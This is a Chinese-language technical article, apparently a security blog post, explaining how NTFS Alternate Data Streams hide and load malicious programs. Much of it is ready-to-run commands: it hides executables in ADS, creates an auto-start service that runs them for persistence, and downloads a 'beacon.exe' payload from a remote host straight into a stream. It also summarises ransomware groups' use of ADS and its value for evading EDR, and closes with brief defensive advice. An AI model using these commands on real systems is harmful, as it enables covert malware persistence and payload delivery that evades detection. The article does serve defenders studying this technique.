windows杂谈:隐匿加载恶意程序
字数 889 2025-08-19 12:41:30
NTFS交换数据流(ADS)隐匿加载恶意程序技术详解
一、ADS基础概念
NTFS交换数据流(Alternate Data Streams, ADS)是NTFS文件系统的特性,允许文件包含多个数据流:
- 每个文件至少包含一个主数据流(用户可见的文件内容)
- 可以创建多个非主数据流(默认不可见)
- 完整格式:
<文件名>:<流名>:<流种类> - 数据流不显示在常规目录列表中,但占用实际磁盘空间
二、ADS基本操作
1. 查看文件数据流
# 查看特定数据流内容
Get-Content .\MyFile.txt -Stream ':$DATA'
# 列出文件所有数据流
Get-Item -Path .\MyFile.txt -Stream *
2. 创建和写入ADS
# 直接写入数据流
Write-Output 'SecretMessage' | Set-Content .\MyFile.txt -Stream 'Secret'
# 从文件读取内容写入ADS
Get-Content .\MyFile.txt | Set-Content .\MyFile.txt -Stream 'Secret1'
# 读取ADS内容
Get-Content .\MyFile.txt -Stream 'Secret'
3. 使用CMD创建ADS
type C:\Windows\System32\calc.exe > MyFile.txt:Calculator
三、恶意程序加载技术
1. 通过服务实现持久化
type c:\windows\system32\cmd.exe > %CD%file.txt:cmd.exe
sc create evilservice binPath= "\"%CD%file.txt:cmd.exe\" /c echo works > \"%CD%works.txt\"" DisplayName= "evilservice" start= auto
sc start evilservice
2. 完整攻击流程
-
创建基础文件
echo AnyData > MyFile.txt -
制作隐藏恶意ADS
Get-Content -Path "C:\windows\system32\cmd.exe" -Raw | Set-Content -Path "$($PWD.Path)\MyFile.txt:cmd.exe" -Stream cmd.exe -
创建持久化服务
sc create ADS binPath= "\"%CD%\\MyFile.txt:cmd.exe\" /c echo works > \"%CD%\\works.txt\"" DisplayName= "ADS" start= auto -
执行隐藏指令
sc start ADS
3. 网络加载技术
$tempFile = "$($PWD.Path)\temp_download"
Invoke-WebRequest -Uri "http://192.168.56.79:8080/beacon.exe" -OutFile $tempFile
Get-Content -Path $tempFile -Raw | Set-Content -Path "$($PWD.Path)\MyFile.txt" -Stream test1
Remove-Item $tempFile -Force
四、实际APT组织利用案例
1. WastedLocker勒索软件
- 以管理员权限运行木马
- 将System32中的随机文件副本写入%APPDATA%
- 通过ADS将自身复制到文件中
- 在%TEMP%中创建WINMM.DLL和WINSAT.EXE副本
- 利用WINMM.DLL从ADS执行勒索软件
2. ALPHA SPIDER勒索软件
- 在C:\System中部署reverse-ssh可执行文件
- 使用ADS隐藏可执行文件(名为"Host Process for Windows Service")
- 创建恶意服务实现持久化
- 从初始位置删除可执行文件
五、技术限制与注意事项
- 数据流绑定:ADS与当前系统绑定,复制到其他系统会失效
- 执行限制:无法直接执行ADS中的程序,需通过服务或其他方式间接执行
- 驱动加载:无法从ADS直接加载驱动程序
- EDR对抗:可用于绕过EDR检测,EDR删除备份文件不影响源文件
六、防御建议
- 监控异常服务创建行为
- 检查文件ADS内容(使用
dir /r或PowerShell命令) - 限制PowerShell和CMD的执行权限
- 部署能够检测ADS恶意行为的EDR解决方案
- 审计网络下载行为